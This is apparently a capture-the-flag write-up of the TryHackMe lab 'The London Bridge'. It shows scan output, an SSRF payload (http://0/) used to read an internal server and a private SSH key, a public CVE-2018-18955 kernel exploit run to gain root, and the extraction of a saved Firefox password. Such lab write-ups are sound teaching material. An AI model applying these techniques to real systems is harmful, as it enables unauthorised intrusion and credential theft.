Post

TryHackMe: The London Bridge

The London Bridge is a TryHackMe Medium machine where we first start by discovering an internal web server through SSRF, finding a .ssh folder that contains a private key, making it into the machine we discovered that the kernel was vulnerable to CVE-2018-18955 that led to gain root access, once root, we were able to retrieve Charles’ password through a python script that fetches a .mozilla cache folder and finds passwords.

🔗 Room Link: https://tryhackme.com/r/room/thelondonbridge


Enumeration

Nmap Scan

Starting with an nmap on 10.10.236.6.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/TheLondonBridge]
└─$ cat bridge.out              
# Nmap 7.94SVN scan initiated Wed Sep 25 19:04:10 2024 as: nmap -sC -sV -T4 -oN bridge.out -vv 10.10.236.6
Nmap scan report for 10.10.236.6
Host is up, received conn-refused (0.085s latency).
Scanned at 2024-09-25 19:04:16 CET for 141s
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE    REASON  VERSION
22/tcp   open  ssh        syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 58:c1:e4:79:ca:70:bc:3b:8d:b8:22:17:2f:62:1a:34 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDziNs6aSHIQOJFilv8PhCPd676iD1TrhMYe4p4Mj2E3yaAl4xb8DNT2dhpcv6H8EvtCJnAbXmnFTTOZy14fd7FKc2/Mr4MNLsINFpMU8hc85g6S9ZEnWKlU8dw5jUUeZnAbHSTnq6ARvEbT/Y5seiWEJ7IBiUqptlUA2eiOU7g0DFwrYH7n40aDe0m6PKPIfI9G0XO0cJHISeJ0bsSES1uun2WHLM0sRx+17hrBgM2YfD9OevcltVMlQqWasP9lqf2ooOdBvQTq4eH5UyyuEzaRtQwBYP/wWQEVFacejJE1iT2VD6ZAilhlzo9mww9vqTEwGTvatH65wiyCZHMvrSb
|   256 2a:b4:1f:2c:72:35:7a:c3:7a:5c:7d:47:d6:d0:73:c8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJuZrGZxDIlI4pU1KNZ8A87cWFcgHxRSt7yFgBtJoUQMhNmcw8FSVC54b7sBYXCgBsgISZfWYPjBM9kikh8Jnkw=
|   256 1c:7e:d2:c9:dd:c2:e4:ac:11:7e:45:6a:2f:44:af:0f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICkCeqFADY/YvhJyJabcs5DVTYbl/DEKEpBoluTuDdB1
8080/tcp open  http-proxy syn-ack gunicorn
|_http-server-header: gunicorn
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-title: Explore London
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Wed, 25 Sep 2024 18:04:27 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2682

                [...]

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 25 19:06:37 2024 -- 1 IP address (1 host up) scanned in 146.22 seconds

Looking at the results we get 2 ports open.

  • 22/SSH OpenSSH - open
  • 80/HTTP Gunicorn - open

Web Application - 8080

Taking a look at http://10.10.236.6:8080 we get a web page.

Screenshot

Trying the links on the top of the page only 2 work, Gallery that redirects to /gallery and Contact to /contact, Contact gives us a form to fill which isn’t vulnerable neither to XSS nor to SSTI. Trying Gallery we get the possibility to upload images that will be added to the images already existing.

Screenshot

The first thing that came into our mind is to upload a php file that will get us a reverse shell but that didn’t work even after trying different techniques to bypass the filter in place. Taking a look at the source code of the web page we get a leftover comment.

1
2
3
4
5
6
<form method="POST" action="/upload" enctype="multipart/form-data">
        <input type="file" name="file">
        <input type="submit" value="Upload">
    </form>
    <!--To devs: Make sure that people can also add images using links-->
</body>

Running a Gobuster on http://10.10.236.6:8080/ we get a new endpoint, /view_image.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/TheLondonBridge]
└─$ gobuster dir -u http://10.10.236.6:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words.txt -r -b 404,403 -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.236.6:8080/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-words.txt
[+] Negative Status codes:   404,403
[+] User Agent:              gobuster/3.6
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/contact              (Status: 200) [Size: 1703]
/upload               (Status: 405) [Size: 178]
/gallery              (Status: 200) [Size: 1722]
/feedback             (Status: 405) [Size: 178]
/view_image           (Status: 405) [Size: 178]
Progress: 119600 / 119601 (100.00%)
===============================================================
Finished
===============================================================

Visiting http://10.10.236.6:8080/view_image we get a Method Not Allowed error, running Burpsuite to test different methods we got something interesting using POST instead of GET, the thing the comment was talking about.

Screenshot

Exploitation

Server-side Request Forgery - Beth

Trying to host a python webserver and to submit the url to our php reverse shell hosted file didn’t help us much as we couldn’t get a shell nor execute code. At this point we’re kinda stuck but looking at the user flag hint on the room helps us figuring out what to do.

Check for other parameters that may been left over during the development phase. If one list doesn’t work, try another common one.

First thing we did is to catch the request sent after submiting a URL which should look something like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /view_image HTTP/1.1
Host: 10.10.236.6:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Origin: http://10.10.236.6:8080
Connection: close
Referer: http://10.10.236.6:8080/view_image
Upgrade-Insecure-Requests: 1

image_url=test

Looking at the POST request we see a parameter being sent called image_url so we tried to fuzz for other parameters using ffuf by replacing the image_url to FUZZ, and it worked! we found one.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/TheLondonBridge]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt --request fuzz.req --request-proto http -mc all -fs 823

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://10.10.236.6:8080/view_image
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
 :: Header           : Host: 10.10.236.6:8080
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
 :: Header           : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Connection: close
 :: Header           : Upgrade-Insecure-Requests: 1
 :: Header           : Accept-Language: en-US,en;q=0.5
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Origin: http://10.10.236.6:8080
 :: Header           : Referer: http://10.10.236.6:8080/view_image
 :: Data             : FUZZ=test

 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response size: 823
________________________________________________

www                     [Status: 500, Size: 290, Words: 37, Lines: 5, Duration: 129ms]
:: Progress: [4688/63088] :: Job [1/1] :: 183 req/sec :: Duration: [0:00:24] :: Errors: 0 ::

We first tried to get a reverse shell using the same technique as before but the web server is still not executing code it displays the file content.

Screenshot

So we decided to try an SSRF and look over the web app through a local perspective and we get a 403 FORBIDDEN.

Screenshot

Trying different techniques to bypass that we did find one and we succeded finding an internal web server on port 80, passing http://0/, which resolves to 0.0.0.0, as www value was the payload we used.

Screenshot

Next thing to do is to look for directories/files on the web server using ffuf again.

1
2
3
4
5
6
7
8
9
10
11
12
POST /view_image HTTP/1.1
Host: 10.10.236.6:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 17

www=http://0/FUZZ

Saving the request into a file and giving it to ffuf we were able to find different directories & files including a .ssh which contains a private key!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/TheLondonBridge]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt --request fuzz.req --request-proto http -mc all -fs 469 -e .php,.html,.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://10.10.236.6:8080/view_image
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Host: 10.10.236.6:8080
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
 :: Header           : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 :: Header           : Accept-Language: en-US,en;q=0.5
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Connection: close
 :: Header           : Upgrade-Insecure-Requests: 1
 :: Data             : www=http://0/FUZZ
 :: Extensions       : .php .html .txt 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response size: 469
________________________________________________

templates               [Status: 200, Size: 1294, Words: 358, Lines: 44, Duration: 75ms]
index.html              [Status: 200, Size: 1270, Words: 230, Lines: 37, Duration: 105ms]
uploads                 [Status: 200, Size: 630, Words: 23, Lines: 22, Duration: 139ms]
static                  [Status: 200, Size: 420, Words: 19, Lines: 18, Duration: 372ms]
.                       [Status: 200, Size: 1270, Words: 230, Lines: 37, Duration: 294ms]
.cache                  [Status: 200, Size: 474, Words: 19, Lines: 18, Duration: 78ms]
.local                  [Status: 200, Size: 414, Words: 19, Lines: 18, Duration: 97ms]
.ssh                    [Status: 200, Size: 399, Words: 18, Lines: 17, Duration: 90ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

Taking a look at .ssh we found both id_rsa and authorized_keys which contained a user account name, Beth.

Screenshot

Trying the private key for Beth we were able to get an SSH shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/TheLondonBridge]
└─$ ssh -i id_rsa beth@10.10.236.6
The authenticity of host '10.10.236.6 (10.10.236.6)' can't be established.
ED25519 key fingerprint is SHA256:ytPniu9JUHpepgFs9WjrDo4KrlD74N5VR4L5MCCx3D8.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:38: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yyes
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.10.236.6' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Last login: Mon May 13 22:38:30 2024 from 192.168.62.137
beth@london:~$ 

Once in, we looked for the flag and we found it hidden in __pycache__.

1
2
3
beth@london:~$ grep -iR thm{
__pycache__/user.txt:THM{REDACTED}
beth@london:~$ 

Privilege Escalation - Root

After a while of looking for any lateral movement vectors we couldn’t find anything so we looked at the kernel version and it was vulnerable to CVE-2018-18955.

1
2
beth@london:~$ uname -a
Linux london 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Looking for a POC we found a Github Repository cloning the repo on our machine and getting it on the victime machine we were able to priv esc!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
beth@london:/tmp$ cd CVE-2018-18955/
beth@london:/tmp/CVE-2018-18955$ ls
exploit.bash_completion.sh  exploit.dbus.sh       exploit.polkit.sh  README.md    subshell.c
exploit.cron.sh             exploit.ldpreload.sh  libsubuid.c        rootshell.c  subuid_shell.c
beth@london:/tmp/CVE-2018-18955$ ./exploit.dbus.sh 
[*] Compiling...
[*] Creating /usr/share/dbus-1/system-services/org.subuid.Service.service...
[.] starting
[.] setting up namespace
[~] done, namespace sandbox set up
[.] mapping subordinate ids
[.] subuid: 100000
[.] subgid: 100000
[~] done, mapped subordinate ids
[.] executing subshell
[*] Creating /etc/dbus-1/system.d/org.subuid.Service.conf...
[.] starting
[.] setting up namespace
[~] done, namespace sandbox set up
[.] mapping subordinate ids
[.] subuid: 100000
[.] subgid: 100000
[~] done, mapped subordinate ids
[.] executing subshell
[*] Launching dbus service...
Error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
[+] Success:
-rwsrwxr-x 1 root root 8392 Sep 27 11:37 /tmp/sh
[*] Cleaning up...
[*] Launching root shell: /tmp/sh
root@london:/tmp/CVE-2018-18955# cat /root/.root.txt
THM{REDACTED}

Mozilla Password Extract - Charles’ Password

Taking a look at charles’ home directory we only found a .mozilla folder, looking for mozilla passwords extraction over the internet we found this blog. Getting the .mozilla folder to our machine we ran the python script mentioned on the blog we were able to retrieve Charles’ password successfully!

1
2
3
4
5
6
7
8
┌──(str4ngerx㉿voldemort)-[~/Desktop/TryHackMe/TheLondonBridge]
└─$ python3 firefox_decrypt.py .mozilla/firefox/8k3bf3zp.charles 
2024-09-27 19:46:07,423 - WARNING - profile.ini not found in .mozilla/firefox/8k3bf3zp.charles
2024-09-27 19:46:07,423 - WARNING - Continuing and assuming '.mozilla/firefox/8k3bf3zp.charles' is a profile location

Website:   https://www.buckinghampalace.com
Username: 'Charles'
Password: '[REDACTED]'

and that’s it! the room is officially done.

This post is licensed under CC BY 4.0 by the author.